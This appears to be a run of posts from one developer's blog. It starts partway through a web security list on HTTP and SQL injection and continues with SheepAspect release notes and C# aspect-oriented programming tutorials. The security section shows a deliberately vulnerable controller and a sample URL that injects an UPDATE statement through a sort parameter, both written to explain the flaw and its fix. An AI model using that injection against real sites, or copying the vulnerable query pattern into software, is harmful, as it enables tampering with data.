HTTP is very bad, worse than you might think. It’s very easy to snoop packet traffic in networks, especially wireless networks, and without HTTPS, your information (e.g. password, credit-card number, etc) are sent (in clear-text) to practically ALL machines participating in the network. All they need to do is to actually read the message (e.g. using Wireshark) whenever they feel like ‘stealing’ your password, although I’m not sure you can even call it “stealing” since it’s YOU who literally broadcast your password to them.

So yes web-developers around the world, always equip all your sensitive forms with SSL. Probably don’t even make HTTP access on those forms possible at all, unless you have a very good reason to, and even so at least do NOT default it to HTTP.

10. SQL Injection

Yes it sounds like a thing from a long past. Our modern ways of doing data-access tend to protect us against SQL injections. We’ve all learnt that we should always parameterize your SQL values (using prepared-statements or Linq) as opposed to inlining them in the string. SQL Injection attack is a dying breed.

However this vulnerability still reappears from time to time, such as the following example, which is still regularly seen even in today’s world. Consider this URL on your product search page:

http://yourwebsite/products?minPrice=300&sortBy=ProductDescription

And here’s our controller action. Being a good developer, we use a prepared-statement to parameterize all our SQL values (e.g. minPrice).

[HttpGet]
public ActionResult Product(int minPrice, string sortBy)
{
   var products = Query<Product>(
      "select * from Products where Price >= @minPrice order by " + sortBy,
      new {minPrice = minPrice});

   return View(products);
}

That was a common example of a SQL-Injection hole.

Risk:

SQL Injection attack

How:

Our hacker can make the following request on his browser:

http://yourwebsite/products?minPrice=300&sortBy=ProductDescription;UPDATE%20Products%20SET%20Price=0.01

When that gets executed, it will change the pricing of your products in a way that makes your customers immensely happy, and your boss immensely sad.

I was using SQL in that example, but the same attack method can be used against ORMs, for instance if you use NHibernate’s HQL, you’re not immune against HQL Injections.

Solution:

Make sure you validate your input.

[HttpGet]
public ActionResult Product(int minPrice, string sortBy)
{
   ValidateColumn(sortBy);
   var products = Query<Product>(
      "select * from Products where Price >= @minPrice order by " + sortBy,
      new {minPrice = minPrice});

   return View(products);
}

The better way is perhaps to avoid string concatenation altogether, and use Linq or other query API instead (such as Criteria and QueryOver in NHibernate), though it’s not always possible.

[HttpGet]
public ActionResult Product(int minPrice, string sortBy)
{
   var products = Query<Product>()
         .Where(x=> Price >= minPrice)
         .OrderBy(ToMemberExpression(sortBy));
   return View(products);
}

private static Expression<Func<T, object>> ToMemberExpression<T>(string propertyName)
{
   var parameterExpression = Expression.Parameter(typeof (T), "x");
   var expression = (Expression) parameterExpression;
   var str = propertyName;
   var chArray = new char[]{'.'};

   foreach (var propertyName1 in str.Split(chArray))
      expression = (Expression) Expression.Property(expression, propertyName1);

   return Expression.Lambda<Func<T, object>>((Expression) Expression.Convert(
       expression, typeof (object)), new ParameterExpression[] { parameterExpression });
}

There are few new features introduced on this release, such as changes around its API, introducing more simplicity, bug fixes, and improved implementations. But there are few things that I’d like to highlight what’s new in this release.

NuGet Package

Previously, installing SheepAspect has always been a bit of a mess. You had to reference few libraries into your project, copy some compiler.exe into a folder, modify your csproj manually to include the compiler into your build-task, and pray all the stars are lined up in a perfect angle.

Now in Preview-2, NuGet will do all the mundane heavy-lifting for you. The only step you need to do now is to NuGet SheepAspect straight to your main project, and that’s it. Everything will be configured for you, and you’ll be all set to go before you finish reading this sentence.

When you NuGet SheepAspect into your project, there are 4 things that happen:

1. It downloads all binaries and compiler into your project, and attach the necessary runtime libraries into your project references.
2. It modifies your .csproj/.vbproj file to hook SheepAspect compiler into your post-build task.
3. Generates a default configuration file (SheepAspect.config) and add to your project. This file has been pre-configured to just work immediately, which you can then use as a starting point to configure your SheepAspect settings. (More about this below).
4. You’ll also be given one sample aspect class (/Aspects/SampleAspect.cs), and all it does is trace-logging around all public methods within your current project. (Entry, exit, exceptions).

The included sample-aspect is readily active and all fully functioning out-of-the-box, so that as soon as you nuget SheepAspect into your project and hit run immediately, you’ll watch all your public methods are now writing log traces to your debug window. From here, you can use this sample ‘SampleAspect.cs’ as a template to get started to write your very own first aspects.

SheepAspect.config

Another new feature introduced in Preview-2 is an easier configurability. So instead of tinkering with your .csproj/.vbproj msbuild tasks to configure SheepAspect compilation settings, you can now do so in SheepAspect.config. When you install SheepAspect, you’ll get a default config:

<?xml version="1.0" encoding="utf-8" ?>
<sheepaspect-config xmlns="urn:sheepaspect-config-1.0">
  <aspects>
    <assemblies>
      <include>YourProject.exe</include>
    </assemblies>
  </aspects>
  <weave>
    <assemblies>
      <include>YourProject.exe</include>
    </assemblies>
  </weave>
</sheepaspect-config>

It’s pretty straightforward. The xsd file is included so you can use Visual Studio intellisense to view all the different settings, although it’s all pretty basic at this point.

Build Report

SheepAspect compiler task spawns a separate (console) process to get around Visual Studio annoying tendency to lock dll files that you access during the task. That’s why in Preview-1 you could briefly see a console window popping up during compilation process. When an error occurs during the compilation, you’ll need to read the report printed on the console window.

The new SheepAspect is still using the same technique, but it’s more refined and well hidden. You won’t see any window popping up, and your compilation results will be reported nicely on your Visual Studio.

SheepAspect Query Analyzer

I have announced SAQA before, but this is the first time it has ever been released. SAQA’s releases will roughly follows the release cycle of SheepAspect, but it’s distributed as a separate download. You can download SAQA for SheepAspect Prevew-2 here on the project website.

Factory Per Aspect

Aspect factory determines how your aspect classes are instantiated during runtime. In the previous version, aspect factory was defined globally.

AspectFactory.Current = new StructureMapAspectFactory(structureMapContainer);

But there are times when you need to use a specific factory for your particular aspect. For example to instantiate your aspect from attribute declaration, or to instantiate from web-request (model-binding) or client cookie. New in Preview-2, now you can define your factory on a per-aspect basis.

[Aspect]
[AspectFactory(typeof(AttributiveAspectFactory))]
public class MyAspect
{
}

If no particular factory specified for your aspect, SheepAspect will resort to a global default factory.

AspectRuntime.Provider.DefaultFactory = new StructureMapAspectFactory(structureMapContainer);

That’s right, you’ve just seen AspectRuntime there. It’s a new addition in SheepAspect Preview-2 that gives you access to the runtime environment of your aspects. You can, for example, switch off all your aspects (or a specific aspect) for unit-testing purpose, or even to replace your aspect with a mock. You can inquire the lifecycle of your specific aspect, or even change them (e.g. from Singleton to PerThis). You can ask for the instance of a specific aspect for a particular jointpoint, and so on. It gives you a flexible and dynamic control upon your aspect-orientated runtime behaviors that can’t be scripted during compile-time alone.

SheepAspect

This is also the first release since the project changed its name from SheepAop. So if you’re using Preview-1, the upgrade path to Preview-2 will be a breaking and rocky one. But I’m very excited about this release, I’d strongly urge to to upgrade if you’re already on Preview-1, or to start trying out and play around with SheepAspect if you haven’t. So go on, it’s only a NuGet away

These preview releases have always been about giving people an early access to gather as much feedback as I can. So any comments/issues/suggestions, as always, would be greatly appreciated

[More about SheepAspect]

The GUI is quite plain and basic, but it does the job.

This tool will hopefully come in handy for developers to get into SAQL pointcuts and syntax. You just simply punch in your pointcut attributes on the text editor as you normally would on C#. E.g.

[SelectMethods(“Name:’Get*’ & Public”)]

You will then get instant feedbacks from this pointcut by executing it against your assemblies, which will bring back all the jointpoints it picks up (i.e.: all public methods with names starting with ‘Get’). Since it takes standard syntax of C# attributes, once you’re happy with the result, you can just copy this line straight onto your C# class.

You can type in as many pointcuts as you wish on the text-editor. You can also define aliases using ‘=’. E.g.:

[SelectMethods(“Name:’Get*’ & Public & InType:@NhConfigTypes”)]
NhConfigTypes = [SelectTypes(“Namespace: ‘NHibernate.Cfg*’”)]

Those pointcuts are equivalent to the following code on the actual C# class:

[Aspect]
public class MyAspect
{
   [SelectMethods("Name:'Get*' & Public & InType:@NhConfigTypes")]
   public void Pointcut1() {}

   [SelectTypes("Namespace:'NHibernate.Cfg*'")]
   public void NhConfigTypes(){}
}

SAQA is available for download from the latest SheepAspect trunk. SAQA will also be included as part of the next SheepAspect release.

What’s next?

• Keyboard shortcuts
• Ability to save the progress of your SAQA workspace
• Ability to view and open the source-code of your joint-points in Visual Studio
• SAQA will be able to read from SheepAspect configuration file (that will be introduced, hopefully, in the next SheepAspect major release)
• I have NO plan to deliver any intellisense functionality, but feel free to send me a patch

It’s not a friendly name, and quite a mouthful to say, thanks to the double vowels in the acronym “AOP”. I’ve lately started develeoping an involuntary cringing habit on the sound of “SheepAOP” produced by my mouth every time I talk to people. And I hate cringing. Something has to be done about it. Changing my habit is a bit complicated, so instead I renamed the project.

So it’s official, the project is now called SheepAspect. It has found a lovely home at SheepAspect.org, and the source-code has been refactored to embrace the new name (which is obviously a breaking change). The old url (sheepaop.codeplex.com) still works fine and simply redirects you to the new address. So once again, say hi to SheepAspect, please help it feel comfortable with its new name.

1. Getting Started with SheepAOP
2. Pointcuts and SAQL Basics
3. Aspects Lifecycles & Instantiations
4. Integrating with IoC containers
5. Aspects Inheritance & Polymorphism
6. Attributive Aspects (ala PostSharp)
7. Unit-testing your aspects
8. Extending SheepAop

Reusing Advices

Think back to the concurrency example from our previous post. We used the ReadWriteLockAspect to define the reading and writing operations within our ShoppingCart, and apply a read/write locking pattern onto it. Surely we can apply this same pattern to other classes where a safe concurrent access is required. We can refactor this well-tested concurrency pattern into an abstract aspect that we can reuse instead of reimplementing it when we need it again.

This gives us a perfect situation to demonstrate SheepAop’s modularity and reuse, as we refactor our ReadWriteLockAspect example into the following.

[AspectPerThis("ReadingsPointcut", "WritingsPointcut")]
public abstract class ReadWriteLockAspect
{
   protected abstract void ReadingsPointcut(); // Abstract pointcut
   protected abstract void WritingsPointcut(); // Abstract pointcut

   protected abstract int GetTimeout(); // Abstract method

   private ReaderWriterLockSlim _lock = new ReaderWriterLockSlim();

   [Around("ReadingsPointcut")]
   public object LockRead(JoinPoint jp)
   {
      try
      {
         _lock.EnterReadLock(GetTimeout());
         return jp.Execute();
      }
      finally()
      {
         _lock.ExitReadLock();
      }
   }

   [Around("WritingsPointcut")]
   public void LockWrite(JoinPoint jp)
   {
      try
      {
         _lock.EnterWriteLock(GetTimeout());
         jp.Execute();
      }
      finally()
      {
         _lock.ExitWriteLock();
      }
   }
}

Now to apply a write/lock behavior to our ShoppingCart class, we simply extend the aspect. We just need to provide the implementation of the pointcuts. The behavior of the advice will be inheritted from the base aspect.

public class ShoppingCartLockAspect: ReadWriteLockAspect
{
   [SelectMethod("'* ShoppingCart::Get*(*)'")]
   [SelectPropertyGet("'* ShoppingCart::*'")]
   protected override void ReadingsPointcut(){}

   [SelectMethod("InType:'ShoppingCart' && Name:'AddProduct'|'RemoveProduct'")]
   protected override void WritingsPointcut(){}

   protected override int GetTimeout()
   {
      return 2000; // Timeout is 2 seconds
   }
}

Now we have used the base ReadWriteLockAspect to transform the ShoppingCart class to be thread-safe. We can reuse this same base aspect to any other target class that you intend to make thread-safe.

Tips on Pointcut Compositions: make sure you take advantage of the composability of SheepAop pointcuts when designing a reusable aspect. You can devide your pointcut into fragments to extract any reusable pattern out, and only expose a small fraction of it as abstract. As an example, our ReadWriteLockAspect can be modified to automatically apply the locks on all read/write methods and properties on the particular type that you target.

[AspectPerThis("ReadingsPointcut", "WritingsPointcut")]
public abstract class ReadWriteLockAspect
{
   [SelectMethod("'InType:@TargetClass && Name:'Get*'|'Is*' && !ReturnsVoid")]
   [SelectPropertyGet("InType:@TargetClass")]
   protected void ReadingsPointcut(){}

   [SelectMethod("InType:@TargetClass && Name:'Add*'|'Remove*'|'Set*'")]
   [SelectPropertySet("InType:@TargetClass")]
   protected void WritingsPointcut(){}

   //This is a small fragment of the pointcut that we expose as abstract
   protected abstract @TargetClass();

   /* and all the rest of it unchanged.. */
}

Now our base aspect provides a reusable template for our pointcuts, where a small fragment @TargetClass is left out as abstract to be composed to form the complete pointcut. The concrete aspect only needs to provide the implementation of this small fragment, rather than the whole pointcut expressions.

public class ShoppingCartLockAspect: ReadWriteLockAspect
{
   [SelectTypes("'ShoppingCart'")]
   protected override void TargetClass(){}

   protected override int GetTimeout()
   {
      return 2000; // Timeout is 2 seconds
   }
}

Other example

The ActorAspect example can also be refactored into an abstract class to reuse its advice behavior, but I will leave that as an exercise for the reader.

Reusing Pointcuts

In the previous example, we have used aspect inheritance to reuse a common advice behavior (read/write locking behavior) repeatedly for multiple pointcuts. Aspect inheritance can also be used to reuse common pointcut expressions repeatedly in multiple advice implementations. A common example of this is aspects for defining extensibility points in a plugin architecture.

For instance, consider you want to define an extensibility point that is triggered at the point of every bank-account transaction. So we define the following abstract aspect.

[Aspect]
public abstract class AccountTransactionPlugin
{
   [SelectMethod(@"InType:AssignableTo:'AccountBase'
            && Name: 'Withdraw'|'Deposit'
            && ArgTypes:'Money'")]
   protected void TransactionPointcut(){}

   [Around("TransactionPointcut")]
   public void AroundTransaction(MethodJointPoint jp)
   {
      OnTransacting((Account)jp.This, (Money)jp.Args[0], ()=> jp.Execute());
   }

   protected abstract OnTransacting(Account account, Money amount, Action proceed);
}

Now that we have this extensibility point defined, a third party can provide their plugins by implementing this base-class. For example, the following plugin will add a business policy to limit transaction amounts within our banking system.

public class TransactionLimitPlugin: AccountTransactionPlugin
{
   private const int CompanyLimit = 100000;
   private const int PersonalLimit = 2000;

   protected override OnTransacting(Account account, Money amount, Account proceed)
   {
      var limit = account.Customer.IsCompany? CompanyLimit: PersonalLimit;
      if(amount > limit)
         throw new TransactionOverlimitException(amount, limit);
      proceed();
   }
}

More plugins for this specific extensibility point can be added to the system by writing more implementations of AccountTransactionPlugin (e.g. a plugin to apply transaction-fees depending on the types of the account). Typically we would have a set these abstract aspects with different pointcut-expressions, each represents different extensibility point within the system (e.g. when an order is created, when a case is raised, when a conversation occurs, etc), onto which a specific plugin can be hooked and unhooked. You can jazz up this technique by adding MEF to the mix.

Note that the domain code of our application might not be designed with plugin architecture in mind. It probably does not even aware of any extensibility system that is in place. This brings us to our next point…

Speaking of Extensibility..

Extensibility has always been a chicken-and-egg problem. Many business applications require the extensibility to accomodate rapidly changing business rules, policies, and workflows, sometimes allowing extensibility by third-party developers. To achieve this, architects are often faced with underdesign/overdesign issue. If you underdesign, you may have to make massive changes later in the development cycle. If you overdesign with excessive amount of extensibility point on every method of your application, the implementation may be burdened with code of questionable usefulness.

With AOP, you can delay making design decisions for future requirements because you can implement those extensibility points unobtrusively using aspects. You can focus on the current requirement of the system.
In this respect, AOP works in harmony with YAGNI (You aren’t gonna need it). Implementing a feature just because you may need it in the future often results in wasted effort because you won’t actually need it. With AOP, you can stick faithfully to your current requirement, and if you do need a particular kind of functionality later, you can implement it without having to make system-wide modifications

Attribute-based Aspects (ala Postsharp)

(Since this question gets asked quite a lot, I will post this section again in a separate post as a handy reference)

SheepAop is not specifically built to support attribute-based declarative approach used in Postsharp. But using the rich pointcut expressions and aspect inheritance in SheepAop, it’s quite trivial to implement our own implementation. We just simply need to write this simple abstract aspect to deliver the same attribute-based functionality.

[Aspect]
[AttributeUsage(AttributeTargets.Method | AttributeTargets.Property)]
public abstract class AroundMemberAttribute: Attribute
{
   [SelectMethods("HasCustomAttributeType:ThisAspect")]
   [SelectPropertyGets("HasCustomAttributeType:ThisAspect")]
   [SelectPropertySets("HasCustomAttributeType:ThisAspect")]
   protected void DecoratedPointcut(){}

   [Around("DecoratedPointcut")]
   public abstract object Around(JointPoint jp);
}

This aspect simply defines a pointcut that matches all methods and properties that are decorated using the concrete type of this aspect. So now we can use this base attribute to create our TransactionalAttribute as an example.

[Aspect]
public class TransactionalAttribute: AroundMemberAttribute
{
   public override object Around(JointPoint jp)
   {
      using(var tx = new TransactionScope())
      {
         var result = jp.Execute();
         tx.Complete();
         return result;
      }
   }
}

That is all it. Now you can use this attribute to decorate methods and properties that you want to make transactional. For instance:

[Aspect]
public class OrderService: IOrderService
{
   [Transactional]
   public void ProvisionOrder(Order order)
   {
      // .... whatever ...
   }
}

For your convenience, the base-aspect AroundMemberAttribute is included straight out-of-the-box within SheepAop, so you don’t have to write it every time. Another variation of the base attribute is called AroundCallAttribute. They both have equivalent functionality, but whereas AroundMemberAttributes targets the bodies of methods and properties decorated with the attribute, AroundCallAttribute targets the calling of methods, getting/setting properties, and reading/writing fields decorated with the attribute.

Summary

Inheritance is a key component in making reusable aspects in SheepAop. Since SheepAop aspects are just normal POCO classes, you can make use of the same Object-Oriented techniques such as inheritance and polymorphism that we’re all familiar with. The same techniques are also used to implement the declarative attribute-based aspects that gives a lot of convenience for many simple cases.

1. Getting Started with SheepAOP
2. Pointcuts and SAQL Basics
3. Aspects Lifecycles & Instantiations
4. Integrating with IoC containers
5. Aspects Inheritance & Polymorphism
6. Attributive Aspects (ala PostSharp)
7. Unit-testing your aspects
8. Extending SheepAop

Aspect Factory

In the previous post, we have discussed at great length about various SheepAop lifecycles and how they affect the specific points at which SheepAop should instantiate new aspect objects. Whenever your lifecycle strategy determines that a new aspect needs to be created, by default SheepAop will look for a default parameterless constructor in your aspect class.

SheepAop lets you to can change this behavior and use your own IoC container to manage the instantiations of your aspects and wire up their dependencies. This is done by implementing your own custom AspectFactory. For example, the following code will hook SheepAop with StructureMap.

public class StructureMapAspectFactory: AspectFactory
{
   private readonly Container _container;
   public StructureMapAspectFactory(Container container)
   {
      _container = container;
   }

   public override object CreateInstance(Type type)
   {
      return _container.GetInstance(type);
}
}

And you add the following code to the entry point of your program (i.e. Global.asax in a web application)

AspectFactory.Current = new StructureMapAspectFactory(container);

All pretty straightforward. Now if you take the example aspect class from few posts back…

[Aspect]
public class PurchasingNotificationAspect
{
   private readonly INotificationService _notifier;
   public PurchasingNotificationAspect(INotificationService notifier)
   {
      _notifier = notifier;
   }

   [SelectPropertySets("Name:'StockQty' & InType:Name:'Product'")]
   public static void SettingProduct(){}

   [Around("SettingProduct")]
   public void CheckStockForNotification(PropertySetJoinPoint jp)
   {
      jp.Proceed();
      if ((int)jp.Value < 5)
      {
         _notifier.Send(Notice.Restock, (Product)jp.This);
      }
   }
}

… StructureMap will now handle the instantiations of this aspect class, including the wiring of the INotificationService dependency via the constructor.

I highly recommend to always register all your aspect classes using transient configuration on your IoC container, and to leave it to SheepAop to handle the lifecycle management of the instances.

1. Getting Started with SheepAOP
2. Pointcuts and SAQL Basics
3. Aspects Lifecycles & Instantiations
4. Integrating with IoC containers
5. Aspects Inheritance & Polymorphism
6. Attributive Aspects (ala PostSharp)
7. Unit-testing your aspects
8. Extending SheepAop

This Post

In this post, I will introduce you with the notion of aspect-lifecycle in SheepAop, a feature that I have claimed more than once to be among the utmost importance in an AOP framework for taking AOP’s real-world use beyond the highly clichéd logging and transaction toy-demo. Aspect-lifecycles offer some elegant answers to a whole array of real-world problems that are not normally solvable using conventional AOP solutions.

This post will take you through a generous amount of those examples to demonstrate some real-world applications of AOP in general, and of aspect-lifecycles in particular. No more Logging, Transaction, or SecurityAuthorization demo, I believe we’ve had enough of that

Overview

By default, SheepAop uses Singleton lifecycle, which means that only one instance of an aspect type exists. This is the simplest form of aspect instance. The state of a Singleton aspect is effectively global. Usually this arrangement is well suited for stateless aspects, as well as aspects with an inherently global state, such as caching or resource-pool.

But in some situations, especially when you are creating reusable aspects, you want to associate the aspect’s state in a very specific manner (e.g. per individual object, or a particular class, or per scope of a control flow).
The aspect-lifecycle mechanism in SheepAop offers various ways to control the lifecycles of aspect instances, and offers many interesting and powerful design choices.

There are several kinds of aspect lifecycles in SheepAop:

• Singleton (default)
• Transient
• Per object (PerThis and PerTarget*)
• Per control-flow
• Per type*

*) Not yet supported

Note: It’s very trivial to implement your own aspect-lifecycle, e.g. WebRequestLifecycle, or WebSessionLifecycle. We’ll cover that on “Extending SheepAop” later in the series.

Singleton Lifecycle (Default)

Singleton-lifeycle is in effect when you don’t specify any lifecycle in your aspect class declaration.

[Aspect]
public class MyAspect
{
}

You can also declare it explicitly using SingletonAspect, which makes no difference whatsoever.

[SingletonAspect]
public class MyAspect
{
}

Let’s write a simple toy program that creates 2 Account objects and calls their methods.

public class MyProgram
{
   public static void Main()
   {
      var account1 = new SavingAccount(12345);
      var account2 = new SavingAccount(77777);

      account1.Credit(200);
      account1.Debit(100);

      account2.Credit(200);
      account2.Debit(100);
   }
}

And apply some aspect:

[Aspect]
public class MyLoggingAspect
{
   var _logger = logger;
   public MyLoggingAspect(ILogger logger)
   {
      _logger = logger;
      _logger.Trace("> Creating MySingletonAspect instance");
   }

   [SelectMethods("'void SavingAccount::*(System.Int32)'")]
   private void AccountPointcut();

   [Around("AccountPointcut")]
   pulbic void AroundAccountMethods(MethodJoinpoint jp)
   {
      _logger.Trace(">> Calling {0}({1}) on {2}", jp.Method, jp.Args[0], jp.This);
      jp.Execute();
   }
}

PS: The ILogger parameter on the constructor is injected by your IoC container. We’ll look into how to hook SheepAop with your IoC container in the next post or two.

The output is:

> Creating MyLoggingAspect instance
>> Calling Credit(200) on SavingAccoung{12345}
>> Calling Debit(100) on SavingAccoung{12345}
>> Calling Credit(200) on SavingAccoung{77777}
>> Calling Debit(100) on SavingAccoung{77777}

Only one MySingleAspect instance will ever be created over the course of the program, which in this case also means that you will always append all log entries to only one ILogger instance.
(All previous examples in the series so far use Singleton lifecycle by default, so I won’t bother you with another example on Singleton aspects).

Transient Lifecycle

Transient lifecycle will create a new aspect instance for every time a join-point is hit.
Let’s use the same toy program from the example above, and just slightly change the aspect declaration to the following:

[TransientAspect]
public class MyLoggingAspect
{
   /* unchanged */
}

Now the output will become like the following:

> Creating MyLoggingAspect instance
>> Calling Credit(200) on SavingAccoung{12345}
> Creating MyLoggingAspect instance
>> Calling Debit(100) on SavingAccoung{12345}
> Creating MyLoggingAspect instance
>> Calling Credit(200) on SavingAccoung{77777}
> Creating MyLoggingAspect instance
>> Calling Debit(100) on SavingAccoung{77777}

A new MyTransientAspect instance is created for every join-point hit, which will append a log entry to a potentially different ILogger instance each time.
There really are not many realistic scenarios where Transient lifecycle would be necessary, but it can be useful especially when you want to make use of the lifecycle-capability provided by your IoC container. More about IoC integration in the next post.

Per Object Lifecycles (PerThis and PerTarget)

If an aspect A is defined AspectPerThis(Pointcut), then one object of type A is created for every instance that is the executing object (i.e., “This”) at any of the join points picked out by the Pointcut.
The advice defined in aspect A will run only at a join point where the currently executing object has been associated with an instance of A.

So if we modify our first toy (logging-aspect) example as follows:

[PerThis("AccountPointcut")]
public class MyLoggingAspect
{
   /* unchanged */
}

.. the output will become:

> Creating MyLoggingAspect instance
>> Calling Credit(200) on SavingAccoung{12345}
>> Calling Debit(100) on SavingAccoung{12345}
> Creating MyLoggingAspect instance
>> Calling Credit(200) on SavingAccoung{77777}
>> Calling Debit(100) on SavingAccoung{77777}

Everytime the “AccountPointcut” hits a join point, SheepAop will look at the object bound to This (the current SavingAccount instance), and create a new aspect instance if there is not already a MyLoggingAspect in existence for that SavingAccount instance. The aspect instance is eligible for garbage collection at the same time as the object it is associated with.

The PerTarget model works in a very similar manner to PerThis. If an aspect A is defined AspectPerTarget(Pointcut), then one object of type A is created for every object that is the Target object of the join points picked out by Pointcut. The advice defined in A will run only at a join point where the target object has been associated with an instance of A.
Note: Target object is only applicable to join-points matched using call-pointcuts, not member-pointcuts. Therefore consequently only call-pointcuts can be used with PerTarget lifecycle.

Example: Concurrent Object

In this example, we will create an aspect to convert your non-thread-safe class into a thread-safe one by applying the read-write lock pattern, hence allowing concurrent access to the objects. This pattern requires one lock for each object instance. The per-object lifecycles provide a mechanism to associate a new aspect isntance with each execution (‘This’) or ‘Target’ object.

In the following example, we will use AspectPerThis lifecycle to associate each of your ShoppingCart objects with a new ReadWriteLockAspect.

[AspectPerThis("Readings", "Writings")]
public class ReadWriteLockAspect
{
   [SelectMethod("'* ShoppingCart::Get*(*)'")]
   [SelectPropertyGet("'* ShoppingCart::*'")]
   protected void Readings(){}

   [SelectMethod("'void ShoppingCart::*(*)'")]
   [SelectPropertySet("'void ShoppingCart::*(*)'")]
   protected void Writings(){}

   private ReaderWriterLockSlim _lock = new ReaderWriterLockSlim();

   [Around("Readings")]
   public object LockRead(JoinPoint jp)
   {
      try
      {
         _lock.EnterReadLock();
         return jp.Execute();
      }
      finally()
      {
         _lock.ExitReadLock();
      }
   }

   [Around("Writings")]
   public void LockWrite(JoinPoint jp)
   {
      try
      {
         _lock.EnterWriteLock();
         jp.Execute();
      }
      finally()
      {
         _lock.ExitWriteLock();
      }
   }
}

Note: Ideally, given that the read/write lock pattern itself is reusable, you would define this aspect as abstract (with abstract pointcuts) so you can reuse the aspect. We will cover this in part 5 (“Aspect Inheritence”).

So now each of your ShoppingCart instance will be assigned with a ReadWriteLockAspect, which will lock and release read/write access to your object. We have just converted our ShoppingCart to be thread-safe without introducing any additional noise into your actual code.

Examples: Timing-Out DbConnection Instances

In this example, we will write an aspect to limit the duration for which each DbConnection instance may keep its connection open. We’ll set a timer to forecfully close DbConnection instances that have been left open for over a certain period of time. Since the timer is associated with each connection object, we’ll need an aspect with per-object lifecycle (in this case, PerTarget).

[AspectPerTarget("OpeningConnection")]
public class ConnectionTimeoutAspect
{
   [SelectCallMethods("'void System.Data.DbConnection::Open()'")]
   protected void OpeningConnection(){}

   [SelectCallMethods("'void System.Data.DbConnection::Close()'")]
   protected void ClosingConnection(){}

   private const int TIMEOUT = 1000;
   private Timer timer;

   [Around("OpeningConnection")]
   public void AroundOpeningConnection(JoinPoint jp)
   {
      timer = new Timer(_=> ((DbConnection)jp.Target).Close(), null, 0, TIMEOUT);
   }

   [Around("ClosingConnection")]
   public void AroundClosingConnection(JoinPoint jp)
   {
      timer.Dispose();
   }
}

Example: Actor Model

Ayende recently blogged about his Actor implementation. In this example, we’ll look at how to reimplement the solution using aspect-oriented approach. The idea is to enable actor capability on an arbitrary POCO object without modifying its codes.
The premise of an actor is that all non-read actions must be executed asynchronously (non-blocking), but these actions must be executed sequentially within each actor. Consider the following actions from Ayende’s example:

connection1.Send("abc");
connection1.Send("def");

I care for “abc” to be sent before “def”, and for both to be sent before anything else is sent through connection1. But I do NOT care if I have anything else sent between “abc” and “def” (through different connections).
Additionally, every read operation must be executed synchronously, while still maintaining the order of executions. (i.e. all read operations should execute after all previous queued actions have completed).

Since each actor object requires its own sequential tasks-queue, we need to associate an aspect with each actor instance. So let’s create an aspect with PerThis lifecycle to target our (synchronous) Connection class.

[AspectPerThis("NonReadActions")]
public class ActorAspect
{
   [SelectTypes("'Sheep.MyConnection'"]
   protected void TargetClass(){}

   [SelectMethods("Type:@TargetClass & !ReturnsVoid"]
   protected void ReadOperations(){}

   [SelectMethods("Type:@TargetClass & !@ReadOperations"]
   protected void NonReadActions(){}

   private readonly ConcurrentTaskQueue _queue = new ConcurrentTaskQueue();

   [Around("NonReadActions")]
   public void AroundActions(JoinPoint jp)
   {
      _queue.EnqueueToExecution(()=> jp.Execute());
   }

   [Around("ReadOperations")]
   public object AroundReading(JoinPoint jp)
   {
     using(_queue.EnterLock())
     {
         _queue.WaitTillCompleted();
         return jp.Execute();
     }
   }
}

Note: Similar to the previous example, this aspect should ideally be defined as an abstract aspect so we can reuse the actor pattern whenever it’s needed.

All the synchronous methods in our Connection class have now been fully converted to work synchronously, and follow the actor-model behavior that we desire. It’s all done without cluttering the actual Connection class with the complex plumbing of Actor pattern. We extract the pattern out into an aspect, leaving your original class clean from irrelevant bits of technical complexities.

Other Examples:

There are many other real world applications of PerThis and PerTarget lifecycles, including:

• Dirty-tracking (tracks all changes of fields and properties within an object)
• Lazy-Load proxy
• Cache the output of a costly method that is called multiple times on the same object, e.g. fileStream.ReadToEnd()

Per-Control-Flow Lifecycle

If an aspect A is defined AspectPerFlow(Pointcut), then one object of type A is created for each flow of control of the join points picked out by Pointcut as the flow of control is entered. The advice defined in A may run ONLY at any join point within that control flow. An instance of the aspect is created upon entry into each such control flow.

Example: Context Passing

Consider you are developing a flight-booking application. As part of the booking process, the application will create flight itineraries objects.

var itinerary = new Itinerary(flight);

The constructor also automatically sets the CreatedDateTime property of the Itinerary object with the current system time.

Today you are requested to allow the system to be used by a travel-agent company who bulk their booking transactions in an end-of-day basis. So we provide them with the following client-facing API:

public void BookFlightFromTime(DateTime orderTime, Flight flight, Customer customer /* etc etc*/)
{
}

Note the first parameter “orderTime“. Being an end-of-day bulk operation, all Itinerary objects created within the scope of this method must have their CreatedDateTime properties assigned with the specified orderTime, rather than the current (end-of-day) system time.
Typically this requires passing the orderTime from the client, down through every method call that eventually leads to Itinerary creations. All programmers are familiar with the inconvenience of adding a method argument to a number of methods just to pass this kind of context information.

Using SheepAop, this kind of context passing can be implemented in a modular way. The following code adds an Around advice that runs when an Itinerary object is instantiated within the control-flow of BookFlightFromTime method.

[AspectPerFlow("BookFlightFromTimeMethod")]
public class OrderDateAspect
{
   [SelectMethod("void BookingClient::BookFlightFromTime(DateTime, *)")]
   protected void BookFlightFromTimeMethod(){}

   [SelectConstructor("InType: 'Sheep.Itinerary'")]
   protected void CreatingItenerary(){}

   private DateTime _orderTime;

   [Around("BookFlightFromTimeMethod")]
   public void BookFlightFromTimeMethod(MethodJoinPoint jp)
   {
      _orderTime = jp.Args[0];
   }

   [Around("CreatingItenerary")]
   public void AroundCreatingIntenerary(JoinPoint jp)
   {
      jp.CreatedDateTime = _orderTime;
   }
}

This aspect affects only a small number of methods, but note that the non-AOP implementation of this functionality might require editting many more methods, specifically, all the methods in the control-flow from the client to the Itenerary creation. This is one major characteristic of aspect-lifecycle control. While the aspect is short and affects only a modest number of benefits, the complexity the aspect saves is potentially much larger.

[Aspect]
public class TransactionAspect
{
   [SelectMethods("'* Sheep.ApplicationService.*::*(*)' & Public")]
   private void TransactionalMethods(){}

   [Around("TransactionalMethods")]
   public object AroundTransactionalMethods(JoinPoint jp)
   {
      using(var tx = new Transaction())
      {
         var returnValue = jp.Execute();
         tx.Commit();
         return returnValue;
      }
   }
}

[AspectPerFlow("TransactionalMethods")]
public class TransactionAspect
{
   [SelectMethods("'* Sheep.ApplicationService.*::*(*)' & Public")]
   private void TransactionalMethods(){}

   [SelectMethods("HasCustomAttributeType: 'Sheep.NonTransactionalAttribute' & ReturnsVoid")]
   private void NonTransactionalMethods(){}

   private Queue<Action> _nonTransactionalActions = new Queue<Action>();

   [Around("NonTransactionalMethods")]
   public void StealNonTransactionalMethods(JoinPoint jp)
   {
      _nonTransactionalActions.Add(()=> jp.Execute());
   }

   [Around("TransactionalMethods")]
